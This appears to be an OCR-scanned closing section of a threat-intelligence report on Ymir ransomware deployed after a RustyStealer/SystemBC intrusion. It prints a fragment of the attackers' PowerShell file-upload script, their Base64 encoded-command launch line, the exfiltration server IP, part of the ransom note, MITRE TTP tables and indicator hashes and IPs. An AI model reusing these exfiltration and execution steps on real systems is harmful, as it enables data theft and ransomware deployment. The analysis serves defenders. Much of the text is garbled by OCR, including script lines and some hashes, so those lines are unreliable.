Write-Host "Uplecad file: SendFile -filenams §{fullname} =-path 3{path}
Sendfilq ~filename Sitem.Fullname -path Spath

File search procedure

The script is Base64 encoded and passed to the following command for execution.

1 $selfpath\powershell.exe -Version 5.1 -s -NoLogo -NoProfile -EncodedCommand <B64CMD>

According to our GERT analysis, at the time of the research, there was a service configured at this IP address
(5.255.117[.]134) for uploading files that were collected with the SystemBC scripts.

&Y 5.255.117.134

A Not secure

Pretty-print

{"detail”:"incorrect upload data")

Active webservice

At the same time, multiple creations and executions of the well-known programs Advanced IP Scanner and Process
Hacker were alerted on several systems.

e advanced_ip_scanner.exe;
e processhacker-2.39-setup.exe.

Finally, two days after the initial RustyStealer intrusion, attackers deployed the Ymir ransomware by executing
remote connections and uploading the payload. Some traces of the execution were detected, in particular those
associated with the PowerShell self-destruct script. Also, a part of the ransom note was configured in the registry
key field legalnoticecaption, located in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,
which invites the user to look for additional details in the ransom note, named “INCIDENT_REPORT.pdf”:
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IMPORTANT

What happened? Your network has been compromised and attacked by hackers. All
files have been modified. Sensitive information has been stolen and handed over to
perts for analysis. What do | do? The first thing you should do is inform your

bout the incident. You'll have to pay us to recover your files. Only we have

lique token. Don't try to use any third-party applications to recover your files

they may be damaged irretrievably. To contact us read the INCIDENT REPORT file
carefully

Part of the ransom note from the registry

Conclusion

A link between malware stealer botnets acting as access brokers and the ransomware execution is evident. The
Ymir development represents a threat to all types of companies and confirms the existence of emerging groups that
can impact business and organizations with a configurable, robust and well-developed malware. We have seen
initial access brokers invade an organization and ensure persistence. Ymir was deployed to the targeted system
shortly after. This new ransomware family was configured in a secure scheme, making it impossible to decrypt the
files from the targeted system. The group behind this threat has not presented a dedicated leak site or any
additional information yet, but we will continue monitoring their activity. Alerts were triggered two days prior to the
ransomware incident, and the lack of action on the critical system warnings allowed the attackers to launch the
ransomware. This highlights the need for improved response strategies beyond relying solely on endpoint protection
platforms (EPP).

Kaspersky products detect this new threat as Trojan-Ransom.Win64.Ymir.gen.

Tactics, techniques and procedures

Below are the Ymir TTPs identified from our malware analysis.

Tactic Technique ID
Discovery File and Directory Discovery T1083
Discovery System Information Discovery T1082
Execution Command and Scripting Interpreter: PowerShell T1059.001
Impact Data Encrypted for Impact T1486

Defense evasion Virtualization/Sandbox Evasion: Time Based Evasion T1497.003

Defense evasion Indicator Removal: File Deletion T1070.004

RustyStealer TTPs:
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Tactic Technique ID

Discovery File and Directory Discovery T1083
Discovery Process Discovery T1057
Execution Shared Modules T1129

Defense evasion Obfuscated Files or Information T1027

Indicators of Compromise

File Hashes

3648359ebae8ce7cacae1e631103659f5a8c630e
fe6de75d6042de714c28c0a3c0816b37e0fadbb3
f954d1b1d13a5e4f62f108c9965707a2aa2a3c89 (INCIDENT_REPORT.pdf)
5ee1befc69d120976a60a97d3254e9eb
5384d704fadf229d08eab696404cbbab

39df773139f505657d11749804953be5
8287d54c83db03b8adcdf1409f5d1c9abb1693ac8d000b5ae75b3a296¢cb3061c
51ffc0b7358b7611492ef458fdfOb97f121e49e70f86a6b53b93ed923b707a03
b087e1309f3eab6302d7503079af1ad6af06d70a932f7a6ae1421b942048e28a

IPs
74.50.84[.]181:443
94.158.244[.169:443
5.255.117[.]134:80
85.239.61[.]60

o Data Encryption

¢ Incident response

* Malware

* Malware Descriptions
o Malware Technologies
e PowerShell
 Ransomware
 Trojan

o Trojan-stealer
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